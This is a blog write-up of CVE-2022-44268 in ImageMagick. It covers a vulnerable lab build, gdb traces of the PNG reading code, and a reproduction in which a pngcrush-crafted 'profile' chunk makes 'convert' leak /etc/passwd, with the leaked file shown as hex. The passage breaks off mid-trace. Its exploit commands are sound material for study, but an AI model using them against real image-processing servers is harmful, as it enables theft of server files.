{"id":64035,"date":"2023-02-27T14:18:13","date_gmt":"2023-02-27T06:18:13","guid":{"rendered":"https:\/\/version-2.com\/?p=64035"},"modified":"2024-09-13T16:31:27","modified_gmt":"2024-09-13T08:31:27","slug":"cve-2022-44268-arbitrary-remote-leak-in-imagemagick","status":"publish","type":"post","link":"https:\/\/version-2.com\/zh\/2023\/02\/cve-2022-44268-arbitrary-remote-leak-in-imagemagick\/","title":{"rendered":"CVE-2022\u201344268: Arbitrary Remote Leak in ImageMagick"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"64035\" class=\"elementor elementor-64035\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4da8c5f9 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4da8c5f9\" data-element_type=\"section\" data-e-type=\"section\" data-settings=\"{&quot;jet_parallax_layout_list&quot;:[{&quot;jet_parallax_layout_image&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;_id&quot;:&quot;decf9c3&quot;,&quot;jet_parallax_layout_image_tablet&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_image_mobile&quot;:{&quot;url&quot;:&quot;&quot;,&quot;id&quot;:&quot;&quot;,&quot;size&quot;:&quot;&quot;},&quot;jet_parallax_layout_speed&quot;:{&quot;unit&quot;:&quot;%&quot;,&quot;size&quot;:50,&quot;sizes&quot;:[]},&quot;jet_parallax_layout_type&quot;:&quot;scroll&quot;,&quot;jet_parallax_layout_direction&quot;:&quot;1&quot;,&quot;jet_parallax_layout_fx_direction&quot;:null,&quot;jet_parallax_layout_z_index&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x&quot;:50,&quot;jet_parallax_layout_bg_x_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_x_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y&quot;:50,&quot;jet_parallax_layout_bg_y_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_y_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size&quot;:&quot;auto&quot;,&quot;jet_parallax_layout_bg_size_tablet&quot;:&quot;&quot;,&quot;jet_parallax_layout_bg_size_mobile&quot;:&quot;&quot;,&quot;jet_parallax_layout_animation_prop&quot;:&quot;transform&quot;,&quot;jet_parallax_layout_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;]}]}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-133ba185\" data-id=\"133ba185\" data-element_type=\"column\" data-e-type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-fc2da8d post-content elementor-widget elementor-widget-text-editor\" data-id=\"fc2da8d\" data-element_type=\"widget\" data-e-type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t\t\t\t\t\t<div class=\"news-detail-inner-content\" data-v-85c4bf60=\"\" data-v-0bbc59dc=\"\"><h1><span style=\"color: #000000;\">Introduction<\/span><\/h1><p><span style=\"color: #000000;\"><img fetchpriority=\"high\" decoding=\"async\" data-recalc-dims=\"1\" class=\"alignnone size-full\" src=\"https:\/\/i0.wp.com\/ik.imagekit.io\/14sfaswy6hrz\/blog-posts\/images\/clelmdu9n5ga20juk39vcawrj.png?resize=513%2C511&#038;ssl=1\" width=\"513\" height=\"511\" \/><\/span><\/p><p><span style=\"color: #000000;\">Arbitrary Remote Leak in ImageMagick 7.1.0\u201349 has been found and registered as #CVE-2022-44268.<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2Ak1d_8n3fftpODXt4S0s6KA.png?ssl=1\" \/><\/span><\/p><h3><span style=\"color: #000000;\">What is ImageMagick?<\/span><\/h3><p><span style=\"color: #000000;\">ImageMagick doesn\u2019t really need any introduction because it has been around since August 1, 1990. It\u2019s used everywhere not only on Linux systems but also as a library with other programming languages.<\/span><\/p><p><span style=\"color: #000000;\">ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.<\/span><\/p><p><span style=\"color: #000000;\">Programming language: C<\/span><\/p><p><span style=\"color: #000000;\">Initial release: August 1, 1990; 32 years ago<\/span><\/p><p><span style=\"color: #000000;\">Stable release: 7.1.0\u201362 \/ 12 February 2023<\/span><\/p><h1><span style=\"color: #000000;\">Build the\u00a0lab<\/span><\/h1><h3><span style=\"color: #000000;\"><strong>Method 1<\/strong><\/span><\/h3><ul><li><span style=\"color: #000000;\">Download the vulnerable (<code>7.1.0-49<\/code>) version from here:<\/span><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/imagemagick.org\/archive\/releases\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/imagemagick.org\/archive\/releases\/<\/a><\/span><\/li><li><span style=\"color: #000000;\">Install the build tools<\/span><pre><span style=\"color: #000000;\"><code>sudo apt install build-essential make<\/code><\/span><\/pre><\/li><li><span style=\"color: #000000;\">Extract the tar.xz<\/span><pre><span style=\"color: #000000;\"><code>tar -axvf ImageMagick-7.1.0-49.tar.xz\ncd ImageMagick-7.1.0-49\/<\/code><\/span><\/pre><\/li><li><span style=\"color: #000000;\">Configure and Install<\/span><pre><span style=\"color: #000000;\"><code>.\/configure\nsudo make install\nsudo ldconfig \/usr\/local\/lib<\/code><\/span><\/pre><\/li><li><span style=\"color: #000000;\">Test ImageMagick<\/span><pre><span style=\"color: #000000;\"><code>convert pictest.png test2.png\nconvert --version<\/code><\/span><\/pre><p>\u00a0<\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2Aj4FXQsmVdMpP3jnybbIIFw.png?ssl=1\" \/><\/span><\/p><\/li><\/ul><p><span style=\"color: #000000;\">This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.<\/span><\/p><h3><span style=\"color: #000000;\"><strong>Method 2<\/strong><\/span><\/h3><ul><li><span style=\"color: #000000;\">Download the script:<\/span><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"https:\/\/github.com\/SoftCreatR\/imei\/\" target=\"_blank\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/SoftCreatR\/imei\/<\/a><\/span><pre><span style=\"color: #000000;\"><code>git clone https:\/\/github.com\/SoftCreatR\/imei &amp;&amp; \\\ncd imei &amp;&amp; \\\nchmod +x imei.sh<\/code><\/span><\/pre><\/li><li><span style=\"color: #000000;\">Run the script to download all the required libs and install ImageMagick<\/span><pre><span style=\"color: #000000;\"><code>.\/imei.sh --im-version 7.1.0-49<\/code><\/span><\/pre><\/li><\/ul><p><span style=\"color: #000000;\"><strong>NOTE: <\/strong>After installing using this way if you tried to open <strong><em>convert <\/em><\/strong>with GDB and didn\u2019t work, you can run the\u00a0<strong>.\/confugre <\/strong>script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.<\/span><\/p><p><span style=\"color: #000000;\">However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.<\/span><\/p><p><span style=\"color: #000000;\">I will add this in a separate blog, so stay tuned.<\/span><\/p><h1><span style=\"color: #000000;\">Background Story<\/span><\/h1><p><span style=\"color: #000000;\">This is a summary to give you general information about what you are going to read, so you can have an easier understanding.<\/span><\/p><p><span style=\"color: #000000;\">When you pass a PNG image to something like \u201cconvert\u201d, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the \u201cprofile\u201d keyword inside the image metadata, if that the case the code treat any associated text to the keyword \u201cprofile\u201d as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.<\/span><\/p><p><span style=\"color: #000000;\">I\u2019m trying to achieve a more detailed understanding of what\u2019s going on and how this whole vulnerability getting proceed.<\/span><\/p><h1><span style=\"color: #000000;\">Dive deep if you dare\u00a0\ud83d\ude00<\/span><\/h1><h2><span style=\"color: #000000;\">Reproducing the\u00a0attack<\/span><\/h2><ul><li><span style=\"color: #000000;\">First, you have to create the payload by embedding the \u201cprofile\u201d keyword along with a file path as text, to do that we will use <strong>pngcrush <\/strong>tool.<\/span><pre><span style=\"color: #000000;\"><code>pngcrush -text a \"profile\" \"\/etc\/passwd\" mhzcyber2.png<\/code><\/span><\/pre><p><span style=\"color: #000000;\">This will generate a new image named \u201cpngout.png\u201d with the text embedded inside it<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A6EPyCbn-N-fj45Pzp5czCg.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">Here we can see the differences between both the original image and the new malicious one.<\/span><\/p><\/li><\/ul><p><span style=\"color: #000000;\"><strong>The original image:<\/strong><\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A-5E1wduu2WuC2DkOmfarnQ.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\"><strong>The malicious image:<\/strong><\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A2T6cjm8VHRLgCbOMn2JImw.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Trigger the exploitation with the following command:<\/span><span style=\"color: #000000;\"><code>convert pngout.png pwnit.png<\/code><\/span><p>\u00a0<\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A7wLw5_FPaK1E3sC62Y9foA.png?ssl=1\" \/><\/span><\/p><\/li><\/ul><p><span style=\"color: #000000;\"><strong>NOTE: <\/strong>Errors messages are always interesting since they can give us a lot of info that can help with debugging.<\/span><\/p><ul><li><span style=\"color: #000000;\">Check the newly generated image using the following command:<\/span><pre><span style=\"color: #000000;\"><code>identify -verbose pwnit.png<\/code><\/span><\/pre><p><span style=\"color: #000000;\">This is hex data<\/span><\/p><\/li><\/ul><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AnsMTsiQdPSGYUKGjD-JOHQ.png?ssl=1\" \/><\/span><\/p><ul><li><span style=\"color: #000000;\">Convert the hex to str<\/span><pre><span style=\"color: #000000;\"><code>\n726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2Accn-1Ldlpp-zm6y3dLXWAA.png?ssl=1\" \/><\/span><\/p><\/li><\/ul><h2><span style=\"color: #000000;\">Debugging<\/span><\/h2><p><span style=\"color: #000000;\">I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.<\/span><\/p><ul><li><span style=\"color: #000000;\">Start gdb as follows:<\/span><span style=\"color: #000000;\"><code>gdb convert<\/code><\/span><p>\u00a0<\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AUDWLX8119qbCXt3iYrqX9Q.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">use the command <code>lay next<\/code> and after that press Enter twice<\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2A5SbSySYtNCfEVNkScGZHng.png?ssl=1\" \/><\/span><\/p><\/li><\/ul><p><span style=\"color: #000000;\">I set a breakpoint at the main function after that run the program<\/span><\/p><p><span style=\"color: #000000;\"><code>break main<\/code><\/span><\/p><p><span style=\"color: #000000;\"><code>run pngout.png xy.png<\/code><\/span><\/p><p><span style=\"color: #000000;\"><img decoding=\"async\" data-recalc-dims=\"1\" src=\"https:\/\/i0.wp.com\/cdn-images-1.medium.com\/max\/800\/1%2AqSOsd8eVXagaN97dheRY0g.png?ssl=1\" \/><\/span><\/p><p><span style=\"color: #000000;\">I went here with <code>step<\/code> <code>step-in <\/code>and <code>next <\/code>to follow the program execution<\/span><\/p><p><span style=\"color: #000000;\">This will be a very long execution flow until we hit the first interesting shared library \u201cpng.c\u201d and the interesting function for us which is \u201cReadOnePNGImage\u201d<\/span><\/p><p><span style=\"color: #000000;\">I recorded the execution here:<\/span><\/p><p><span style=\"color: #000000;\">\u064dSince I did this on multiple days, I have divided this into three parts<\/span><\/p><p><span style=\"color: #000000;\">NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.<\/span><\/p><p><span style=\"color: #000000;\"><strong>Part 1:<\/strong><\/span><\/p><pre><span style=\"color: #000000;\"><code>it starts ywith reading the PNG image using ReadOnePNGImage\n\n2177          int\n2213          png_bytep\n2216          png_color_16p\n2230          png_uint_32\n2261          png_byte unused_chunks[]=\n2280          logging=IsEventLogging();\n\nMagickCore\/log.c\n764         {\n765           return(event_logging);\n\ncoders\/png.c\n2281          if (logging != MagickFalse)\n2345          quantum_info = (QuantumInfo *) NULL;\n2346          image=mng_info-&gt;image;\n2359          intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image-&gt;rendering_intent);\n1110          switch (ping_colortype)\n2363          transparent_color.red=65537;\n2364          transparent_color.green=65537;\n2365          transparent_color.blue=65537;\n2366          transparent_color.alpha=65537;\n2377          ping_found_sRGB_cHRM = MagickFalse;\n2378          ping_preserve_iCCP = MagickFalse;\n2376          ping_found_sRGB = MagickFalse;\n2377          ping_found_sRGB_cHRM = MagickFalse;\n2378          ping_preserve_iCCP = MagickFalse;\n2387         ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&amp;error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);\n2394          if (ping == (png_struct *) NULL)\n2397          ping_info=png_create_info_struct(ping);\n2399          if (ping_info == (png_info *) NULL)\n2405          end_info=png_create_info_struct(ping);\n2407          if (end_info == (png_info *) NULL)\n2413          pixel_info=(MemoryInfo *) NULL;\n2414          quantum_scanline = (Quantum *) NULL;\n2415          quantum_info = (QuantumInfo *) NULL;\n2417          if (setjmp(png_jmpbuf(ping)))\n2451          LockSemaphoreInfo(ping_semaphore);\n\nMagickCore\/semaphore.c\n294         {\n295           assert(semaphore_info != (SemaphoreInfo *) NULL);\n296           assert(semaphore_info-&gt;signature == MagickCoreSignature);\n306           omp_set_lock((omp_lock_t *) &amp;semaphore_info-&gt;mutex);\n\ncoders\/png.c\n2456          png_set_benign_errors(ping, 1);\n2465            png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));\n\nMagickCore\/resource.c\n798         {\n802           switch (type)\n807               return(resource_info.height_limit);\n798         {\n802           switch (type)\n815               return(resource_info.width_limit);\n\ncoders\/png.c\n2470            option=GetImageOption(image_info,\"png:chunk-cache-max\");\n\nMagickCore\/option.c\n2404        {\n2405          assert(image_info != (ImageInfo *) NULL);\n2406          assert(image_info-&gt;signature == MagickCoreSignature);\n2407          if (IsEventLogging() != MagickFalse)\n\nMagickCore\/log.c\n764         {\n765           return(event_logging);\n\nMagickCore\/option.c\n2410          if (image_info-&gt;options == (void *) NULL)\n2412          return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info-&gt;options,option));\n\nMagickCore\/splay-tree.c\n923         {\n930           assert(splay_tree != (SplayTreeInfo *) NULL);\n931           assert(splay_tree-&gt;signature == MagickCoreSignature);\n932           if (IsEventLogging() != MagickFalse)\n\nMagickCore\/log.c\n764         {\n765           return(event_logging);\n\nMagickCore\/splay-tree.c\n934           if (splay_tree-&gt;root == (NodeInfo *) NULL)\n936           LockSemaphoreInfo(splay_tree-&gt;semaphore);\n\nMagickCore\/semaphore.c\n294         {\n295           assert(semaphore_info != (SemaphoreInfo *) NULL);\n296           assert(semaphore_info-&gt;signature == MagickCoreSignature);\n306           omp_set_lock((omp_lock_t *) &amp;semaphore_info-&gt;mutex);\n\nMagickCore\/splay-tree.c\n937           SplaySplayTree(splay_tree,key);\n1613          if (splay_tree-&gt;root == (NodeInfo *) NULL)\n1615          if (splay_tree-&gt;key != (void *) NULL)\n1620              if (splay_tree-&gt;compare != (int (*)(const void *,const void *)) NULL)\n1621                compare=splay_tree-&gt;compare(splay_tree-&gt;root-&gt;key,key);\n413         {\n420           return(LocaleCompare(p,q));\n\nMagickCore\/locale.c\n1407        {\n1408          if (p == (char *) NULL)\n1414          if (q == (char *) NULL)\n1421            for ( ; (*r != '\\0') &amp;&amp; (*s != '\\0') &amp;&amp; ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n\nMagickCore\/splay-tree.c\n1625              if (compare == 0)\n1611        static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)\n1628          (void) Splay(splay_tree,0UL,key,&amp;splay_tree-&gt;root,(NodeInfo **) NULL, (NodeInfo **) NULL);\n1528          n=(*node);\n1529          if (n == (NodeInfo *) NULL)\n1536          if (splay_tree-&gt;compare != (int (*)(const void *,const void *)) NULL)\n1537            compare=splay_tree-&gt;compare(n-&gt;key,key);\n413         {\n420           return(LocaleCompare(p,q));\n\nMagickCore\/locale.c\n1407        {\n1408          if (p == (char *) NULL)\n1414          if (q == (char *) NULL)\n1421            for ( ; (*r != '\\0') &amp;&amp; (*s != '\\0') &amp;&amp; ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n\nMagickCore\/splay-tree.c\n1541          if (compare &gt; 0)\n1544            if (compare &lt; 0)\n1545              next=(&amp;n-&gt;right);\n1548              if (depth &gt;= MaxSplayTreeDepth)\n1553              n=Splay(splay_tree,depth+1,key,next,node,parent);\n1528          n=(*node);\n1529          if (n == (NodeInfo *) NULL)\n1531              if (parent != (NodeInfo **) NULL)\n1532                return(*parent);\n1551                  return(n);\n1554              if ((n != *node) || (splay_tree-&gt;balance != MagickFalse))\n1557          if (parent == (NodeInfo **) NULL)\n1551                  return(n);\n1630          if (splay_tree-&gt;balance != MagickFalse)\n1638          splay_tree-&gt;key=(void *) key;\n938           if (splay_tree-&gt;compare != (int (*)(const void *,const void *)) NULL)\n939             compare=splay_tree-&gt;compare(splay_tree-&gt;root-&gt;key,key);\n413         {\n420           return(LocaleCompare(p,q));\n\nMagickCore\/locale.c\n1407        {\n1408          if (p == (char *) NULL)\n1414          if (q == (char *) NULL)\n1421            for ( ; (*r != '\\0') &amp;&amp; (*s != '\\0') &amp;&amp; ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n\nMagickCore\/splay-tree.c\n943           if (compare != 0)\n945               UnlockSemaphoreInfo(splay_tree-&gt;semaphore);\n\nMagickCore\/semaphore.c\n450         {\n451           assert(semaphore_info != (SemaphoreInfo *) NULL);\n452           assert(semaphore_info-&gt;signature == MagickCoreSignature);\n465           omp_unset_lock((omp_lock_t *) &amp;semaphore_info-&gt;mutex);\n\nMagickCore\/splay-tree.c\n946               return((void *) NULL);\n\ncoders\/png.c\n2471            if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));\n2475              png_set_chunk_cache_max(ping,32767);\n2479            option=GetImageOption(image_info,\"png:chunk-malloc-max\");\n\nMagickCore\/property.c\n4711              if (LocaleCompare(\"profile\",property) == 0)\n\nMagickCore\/locale.c\n1407        {\n1408          if (p == (char *) NULL)\n1414          if (q == (char *) NULL)\n1421            for ( ; (*r != '\\0') &amp;&amp; (*s != '\\0') &amp;&amp; ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n\n\/usr\/include\/ctype.h\n209           return __c &gt;= -128 &amp;&amp; __c &lt; 256 ? (*__ctype_tolower_loc ())[__c] : __c;\n\nMagickCore\/property.c\n4843          status=AddValueToSplayTree((SplayTreeInfo *) image-&gt;properties, ConstantString(property),ConstantString(value));\n\nMagickCore\/string.c\n679         {\n687           if (source != (char *) NULL)\n688             length+=strlen(source);\n\nMagickCore\/property.c\n4362        {\n4372          assert(image != (Image *) NULL);\n4373          assert(image-&gt;signature == MagickCoreSignature);\n4374          if (IsEventLogging() != MagickFalse)\n\nMagickCore\/log.c\n764         {\n765           return(event_logging);\n\nMagickCore\/property.c\n4376          if (image-&gt;properties == (void *) NULL) image-&gt;properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);\n4379          if (value == (const char *) NULL) return(DeleteImageProperty(image,property));\n4381          if (strlen(property) &lt;= 1)\n\n4711              if (LocaleCompare(\"profile\",property) == 0)\n\nMagickCore\/locale.c\n1407        {\n1408          if (p == (char *) NULL)\n1414          if (q == (char *) NULL)\n1421            for ( ; (*r != '\\0') &amp;&amp; (*s != '\\0') &amp;&amp; ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n1422              (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);\n\n\/usr\/include\/ctype.h\n209           return __c &gt;= -128 &amp;&amp; __c &lt; 256 ? (*__ctype_tolower_loc ())[__c] : __c;\n\nMagickCore\/property.c\n4843          status=AddValueToSplayTree((SplayTreeInfo *) image-&gt;properties, ConstantString(property),ConstantString(value));\n\ncoders\/png.c\n3370             if (ping_interlace_method == 0)\n3372                 (void) FormatLocaleString(msg,MagickPathExtent,\"%d (Not interlaced)\", (int) ping_interlace_method);\n\nMagickCore\/locale.c\n131           if (c_locale == (locale_t) NULL)\n137           return(c_locale);\n\ncoders\/png.c\n3385               (void) SetImageProperty(image,\"png:IHDR.interlace_method\",msg,exception);\n\nMagickCore\/property.c\n4362        {\n4372          assert(image != (Image *) NULL);\n4373          assert(image-&gt;signature == MagickCoreSignature);\n4374          if (IsEventLogging() != MagickFalse)\n4376          if (image-&gt;properties == (void *) NULL)\n4379          if (value == (const char *) NULL)\n4381          if (strlen(property) &lt;= 1)\n4711              if (LocaleCompare(\"profile\",property) == 0)\n\ncoders\/png.c\n3387             if (number_colors != 0)\n3395           read_tIME_chunk(image,ping,ping_info,exception);\n2118        {\n2122          if (png_get_tIME(ping,info,&amp;time))\n3398          read_eXIf_chunk(image,ping,ping_info,exception);\n1950          if (png_get_eXIf_1(ping,info,&amp;size,&amp;data))\n3405          if (image-&gt;delay != 0)\n3408          if ((mng_info-&gt;mng_type == 0 &amp;&amp; (image-&gt;ping != MagickFalse)) || (\n3438          if (logging != MagickFalse)\n3442          status=SetImageExtent(image,image-&gt;columns,image-&gt;rows,exception);\n\nMagickCore\/image.c\n2664        {\n2665          if ((columns == 0) || (rows == 0))\n2667          image-&gt;columns=columns;\n2668          image-&gt;rows=rows;\n2669          if (image-&gt;depth == 0)\n2675          if (image-&gt;depth &gt; (8*sizeof(MagickSizeType)))\n2681          return(SyncImagePixelCache(image,exception));\n\nMagickCore\/resource.c\n798         {\n802           switch (type)<\/code><\/span><\/pre><p><span style=\"color: #000000;\"><strong>Part 2:<\/strong><\/span><\/p><pre><span style=\"color: #000000;\"><code>ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders\/png.c:3962\n\nConcatenateMagickString (destination=destination@entry=0x5555555c1a00 \"\", source=0x5555555b6ee8 \"\/etc\/passwd\", length=length@entry=13) at MagickCore\/string.c:394\n\nReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders\/png.c:3973\n\nFormatLocaleString (string=string@entry=0x7fffffff25d0 \"pngout.png\", length=length@entry=4096, format=format@entry=0x7ffff7e861fb \"%s\") at MagickCore\/locale.c:468\n\nFormatLocaleStringList (string=0x7fffffff25d0 \"pngout.png\", length=4096, format=0x7ffff7e861fb \"%s\", operands=operands@entry=0x7fffffff0040) at MagickCore\/locale.c:419\n\nAcquireCLocale () at MagickCore\/locale.c:131\n\nFormatLocaleStringList (string=0x7fffffff25d0 \"profile\", length=4096, format=&lt;optimized out&gt;, operands=operands@entry=0x7fffffff0040) at MagickCore\/locale.c:461\n\nFormatLocaleString (string=string@entry=0x7fffffff25d0 \"profile\", length=length@entry=4096, format=format@entry=0x7ffff7e861fb \"%s\") at MagickCore\/locale.c:478\n\nLocaleCompare (p=p@entry=0x7fffffff25d0 \"profile\", q=q@entry=0x7ffff7e7f546 \"width\") at 